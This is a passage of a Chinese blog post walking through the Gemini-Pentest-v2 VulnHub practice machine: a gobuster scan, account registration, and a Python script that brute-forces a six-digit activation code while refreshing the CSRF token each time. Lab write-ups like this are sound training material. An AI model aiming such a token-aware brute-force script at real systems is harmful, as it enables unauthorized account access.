18、Gemini-Pentest-v2

dreamer292

于 2024-09-02 20:40:07 发布

阅读量306

点赞数 11

分类专栏： vulnhub靶机训练文章标签： web安全系统安全网络安全安全

本文链接：https://blog.csdn.net/qq_63855540/article/details/141829488

版权

vulnhub靶机训练专栏收录该内容

18 篇文章 0 订阅

订阅专栏

难度中

目标 root权限一个flag

靶机启动环境为VMware

kali 192.168.152.56 靶机 192.168.152.63

信息收集

web测试

访问80端口

上面介绍了一下这个系统是一个内部系统，让员工查看他们的个人资料还可以导出为PDF

页面还有一个链接是UserList可以访问但是页面什么都没有显示，怀疑可能是没有权限或者需要什么参数

继续目录扫描

基本都存在目录遍历，但是都是些php文件

使用gobuster扫描

gobuster dir -u http://192.168.152.63/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x txt,php,html

有一个黑名单

但是不知道这是哪个文件接收的参数，用上面跑出来的文件做了个字典去跑也没有发现

然后去看每个可以访问的页面，发现注册页面应该可以注册一个账户登录进去，还发现一个激活页面也可以访问有东西，其他的页面都是403以及需要登录的admin

尝试注册admin发现提示账号已存在

注册一个admin123，确实注册成功了，又提示需要激活

大概是需要上面那个激活页面进行激活吧

但是激活需要userid，在页面找了一圈发现在这个profile，点了会卡一会然后就是跳转但是跳转没用会在url显示userid

前面说激活码是6位数字那么可以尝试爆破一遍（15是我一开始跑截的图）

数目有点大估计得要一段时间

服了跑了一会发现很慢然后发现全是403发现有token验证。。。

于是写个简单的脚本进行跑，当然也可以使用bp的宏定义。

import requests
from bs4 import BeautifulSoup

url='http://192.168.152.63/activate.php'

session = requests.Session()  #保持会话
response = session.get(url)
text=response.text

soup = BeautifulSoup(text, 'html.parser')
token_value = soup.find('input', {'name': 'token'})['value']
# 生成从000000到999999的所有数字字符串
for i in range(1000000):
    number_str = f"{i:06d}"  # 使用格式化字符串，确保数字是6位，不足的前面补0

    data={'userid':15,'activation_code':number_str,'token':token_value}
    re = session.post(url=url, data=data)
    soup = BeautifulSoup(re.text, 'html.parser')
    token_value = soup.find('input', {'name': 'token'})['value']
    print(number_str)
    if re.status_code!=403:
        print('——————————————————————————————————————————————')
        break

写脚本还遇到一个之前没有注意的地方就是data数据如果用这个{}格式的字典会自动的进行url编码的，我一开始直接把post数据当成字符串进行传输发现一只是无效的token后面发现需要有url编码也就是请求头里有个Content-Type: application/x-www-form-urlencoded